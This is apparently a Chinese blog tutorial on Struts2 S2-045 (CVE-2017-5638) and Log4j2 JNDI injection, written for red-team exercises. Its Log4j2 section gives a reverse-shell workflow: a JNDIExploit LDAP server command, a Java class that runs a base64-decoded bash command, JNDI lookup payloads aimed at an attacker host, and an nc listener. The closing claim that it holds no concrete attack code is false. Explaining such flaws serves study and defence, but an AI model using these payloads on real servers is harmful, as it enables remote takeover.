【HW系列】—web组件漏洞(Strtus2和Apache Log4j2)

本文仅用于技术研究,禁止用于非法用途。

文章目录

  • Struts2
    • [Struts2 框架介绍](#Struts2 框架介绍)
    • [Struts2 历史漏洞汇总(表格)](#Struts2 历史漏洞汇总(表格))
    • [Struts2-045 漏洞详解](#Struts2-045 漏洞详解)
  • Log4j2
    • [Log4j2 框架介绍](#Log4j2 框架介绍)
    • [Log4j2 漏洞原理](#Log4j2 漏洞原理)
        • [1. JNDI 注入](#1. JNDI 注入)
        • [2. 利用过程](#2. 利用过程)
    • [Log4j2 历史漏洞](#Log4j2 历史漏洞)
    • [JNDI+LDAP 反弹 Shell 流程](#JNDI+LDAP 反弹 Shell 流程)

Struts2

Struts2 框架介绍

Apache Struts2 是一个基于 MVC 设计模式的开源 Web 应用框架,广泛应用于企业级开发。其核心特点包括:

  • 灵活的请求处理:通过拦截器机制动态处理用户请求,支持 RESTful API。
  • 扩展性强:支持插件机制(如文件上传、JSON 解析)。
  • 安全风险:历史版本因设计缺陷(如输入验证缺失、危险函数滥用)多次曝出高危漏洞。

Struts2 历史漏洞汇总(表格)

注:更多漏洞可参考 Apache Struts2 官方安全公告。


Struts2-045 漏洞详解

1. 简介

Struts2-045(CVE-2017-5638)是 Apache Struts2 框架的高危 远程代码执行漏洞,因 Jakarta 文件上传插件对 Content-Type 头 未严格校验,攻击者可构造恶意 HTTP 请求头注入 OGNL 表达式,导致目标服务器执行任意命令。
2. 影响范围

  • 受影响版本:
    • Struts 2.3.5--2.3.31
    • Struts 2.5--2.5.10
  • 典型场景:使用 Struts2 框架的文件上传功能且未升级补丁的 Web 应用。

Log4j2

Log4j2 框架介绍

Apache Log4j2 是 Java 生态中广泛使用的 日志记录库,支持动态配置、多输出源(文件、控制台、数据库等)和日志级别管理。其核心功能包括:

  • 高性能异步日志:适用于高并发场景。
  • 插件化架构:支持自定义 Appender、Filter 等组件。

Log4j2 漏洞原理

1. JNDI 注入
  • 核心机制:Log4j2 的 Lookup 功能允许通过 ${jndi:ldap://attacker.com/exp} 解析动态内容。
  • 漏洞触发:当应用程序记录包含恶意 JNDI 表达式的日志时,Log4j2 会通过 JNDI 协议(LDAP/RMI)请求远程资源,加载并执行攻击者部署的恶意类文件。
2. 利用过程
  1. 构造恶意请求:攻击者发送包含 ${jndi:ldap://恶意服务器/exp} 的日志内容(如 HTTP 请求头)。
  2. 触发解析:Log4j2 解析该内容,向 LDAP/RMI 服务器发起请求。
  3. 加载恶意类:恶意服务器返回指向远程 HTTP 服务的 Reference 对象,客户端下载并执行恶意类文件。

Log4j2 历史漏洞


JNDI+LDAP 反弹 Shell 流程

  1. 搭建恶意 LDAP 服务器:
    • 使用工具(如 JNDIExploit)启动 LDAP 服务,并绑定指向恶意类的 URL。
bash 复制代码
java -jar JNDIExploit-1.2.jar -i 攻击者IP -p 1389  
  1. 生成恶意类文件:
    • 编写包含反弹 Shell 代码的 Java 类(如 Exploit.java),编译后托管在 HTTP 服务器。
java 复制代码
public class Exploit {  
    static {  
        try {  
            Runtime.getRuntime().exec("bash -c {echo,base64编码的Shell命令} | base64 -d | bash");  
        } catch (Exception e) {}  
    }  
}  
  1. 构造 Payload:
    • 发送包含 ${jndi:ldap://攻击者IP:1389/Exploit} 的请求至目标应用。
  2. 触发漏洞:
    • 目标服务器解析 Payload,从 LDAP 服务器获取恶意类地址并加载执行,反弹 Shell 至攻击者监听端口。
  3. 接收 Shell:
bash 复制代码
nc -lvnp 监听端口  

防御建议:

  • 升级 Log4j2 至 2.17.0+,禁用 JNDI Lookup 功能。
  • 配置网络防火墙限制外连请求,使用 WAF 拦截恶意特征。

注:本文遵循CSDN社区内容规范,不涉及具体攻击实现,重点探讨防御方法论。

相关推荐
小李子呢02112 分钟前
前端八股5---组件通信
前端·javascript·vue.js
Daemon3 分钟前
AI Agent系列记录(第二篇)
前端·人工智能·后端
JianZhen✓3 分钟前
2026——Cursor全攻略+AI编程/前端辅助工具汇总(含问题速解)
前端·ai编程
EasyGBS3 分钟前
国标GB28181算法算力平台EasyGBS筑牢应急管理与安全生产防控防线
安全
vmiao5 分钟前
【JS进阶】模拟正确处理并渲染后台数据
前端·javascript
小彭努力中6 分钟前
204.Vue3 + OpenLayers:加载 GIF 文件(CSS 背景实现动画标记)
前端·css·vue·openlayers·geojson·webgis
Wect6 分钟前
JS手撕:函数进阶 & 设计模式解析
前端·javascript·面试
chQHk57BN10 分钟前
前端状态管理:Redux、Vuex、Pinia哪个更适合你?
前端
kyriewen1119 分钟前
每日知识点:this 指向之谜——是谁在 call 我?
前端·javascript·vue.js·前端框架·ecmascript·jquery·html5
枫叶林FYL19 分钟前
【Python高级工程与架构实战】项目五:生产级LLM Agent框架:基于PydanticAI的类型安全企业级实现
python·安全·架构